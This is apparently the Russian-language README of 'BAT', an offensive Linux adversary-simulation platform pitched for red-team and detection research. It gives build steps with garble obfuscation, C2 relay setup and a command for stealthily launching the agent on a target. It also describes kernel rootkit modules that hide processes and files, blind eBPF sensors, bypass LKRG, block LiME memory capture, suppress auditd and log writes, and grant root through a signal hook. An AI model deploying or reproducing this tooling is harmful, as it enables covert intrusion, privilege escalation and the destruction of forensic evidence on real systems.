
Полноспектральная платформа симуляции противника для Linux с режимом скрытности на уровне ядра, C2-биконом, повышением привилегий, сбором учетных данных, горизонтальным перемещением и уничтожением артефактов. Разработана для операций красной команды и исследований обнаружения.
BAT — это реалистичная, эволюционирующая модель угрозы со стороны противника для Linux и Windows. Это не C2-фреймворк и не руткит. Это полноценная платформа симуляции угроз, которая объединяет C2-связь, модули руткита на уровне ядра для скрытности, обход на уровне пользователя, повышение привилегий, закрепление, внедрение процессов, сбор учетных данных, эксфильтрацию и горизонтальное перемещение в единого целостного противника. Цель разработки — создать наиболее сложную и реалистичную угрозу для Linux, достижимую в 2026 году, независимо от того, что в данный момент обнаруживают какие-либо системы детектирования.
Это сторона противника в паре исследовательских инструментов. Фреймворк Aura развивается для обнаружения Bat. Bat развивается, чтобы обходить Aura. Противник никогда не ограничивается детектором.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Настройка```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Сгенерируйте секрет: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Бинарные файлы попадают в `bin/`.
### 4. Загрузка ретранслятора```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Разверните агента на цели:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Агент появляется в bat-server как <agentID>@<hostname> в течение одного интервала маяка (по умолчанию 30с).
Ядро уровня скрытности (bat-stealth.ko, исходный код в kperf-qos/) построено непосредственно на основе Singularity, продвинутой исследовательской платформы для руткитов ядра. Были перенесены и адаптированы четыре основных модуля:
bpf_hook: Перехватывает bpf(2) и все примитивы связи eBPF. Любой сенсор eBPF не получает никакой телеметрии для скрытых PID. Адаптировано: ARCH_SYS("bpf") заменяет __x64_sys_bpf, специфичный для x86; __ia32_sys_bpf удалён для ARM64; HIDDEN_PORT заменён на глобальную переменную, настраиваемую через sysfs.
hiding_fs: Полное сокрытие файловой системы: фильтрация getdents64/getdents, корректировка nlink для stat/statx/newfstatat, блокировка openat/access/faccessat и /proc/<pid>, блокировка chdir и readlink. Объединён из пяти модулей Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Адаптировано: макросы REGS_ARGn заменяют прямой доступ к регистрам; should_hide_path() расширена для runtime-конфигурируемого bat_hidden_paths[].
hide_module: Удаляет bat-stealth.ko из всех списков модулей ядра. Расширено: Singularity уже сохраняет list.prev; эта версия сохраняет как list.prev, так и list.next и отравляет оба, чтобы заблокировать обход в любом направлении. Добавлен module_unhide() для обратимого удаления, необходимо для K-99, прежде чем delete_module(2) сможет найти модуль по имени.
lkrg_bypass: Подавляет принудительное применение LKRG для скрытых процессов: перехватывает доставку сигналов, чтобы блокировать SIGKILL для скрытых задач, перехватывает vprintk_emit для отбрасывания сообщений журнала LKRG, отключает проверку UMH во время выполнения агента. Перенесён напрямую без архитектурных изменений.
Следующие модули были разработаны независимо:
become_root: перехват сигнала 59, который вызывает commit_creds(prepare_kernel_cred(NULL)) для предоставления uid=0 (K-03)selfdefense: блокирует захват памяти LiME, скрывает записи kallsyms, блокирует kprobes на символах агента, повторно скрывает модуль при любой попытке перечисленияaudit: подавляет события auditd для скрытых PIDsysrq_hook: перехватывает SysRq-T, чтобы исключить скрытые процессы из дампов задачtaskstats_hook: фильтрует ответы NETLINK taskstats для скрытых PIDreset_tainted + clear_taint_dmesg: обнуляет /proc/sys/kernel/tainted и фильтрует строки dmesg, содержащие признаки загрузки модуляhooks_write: перехватывает все пути записи ядра (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) для отбрасывания записей журнала, соответствующих строкам агента, до того, как они достигнут syslog или journaldpid_manager: точка трассировки fork для поддержания набора скрытых PID в дочерних процессахПолный стек делает агента и все его артефакты невидимыми для: ps, top, ss, netstat, lsof, обхода файловой системы по скрытым путям, lsmod, sysfs, kallsyms, auditd, всех сенсоров eBPF, LKRG, LiME и криминалистического анализа SysRq.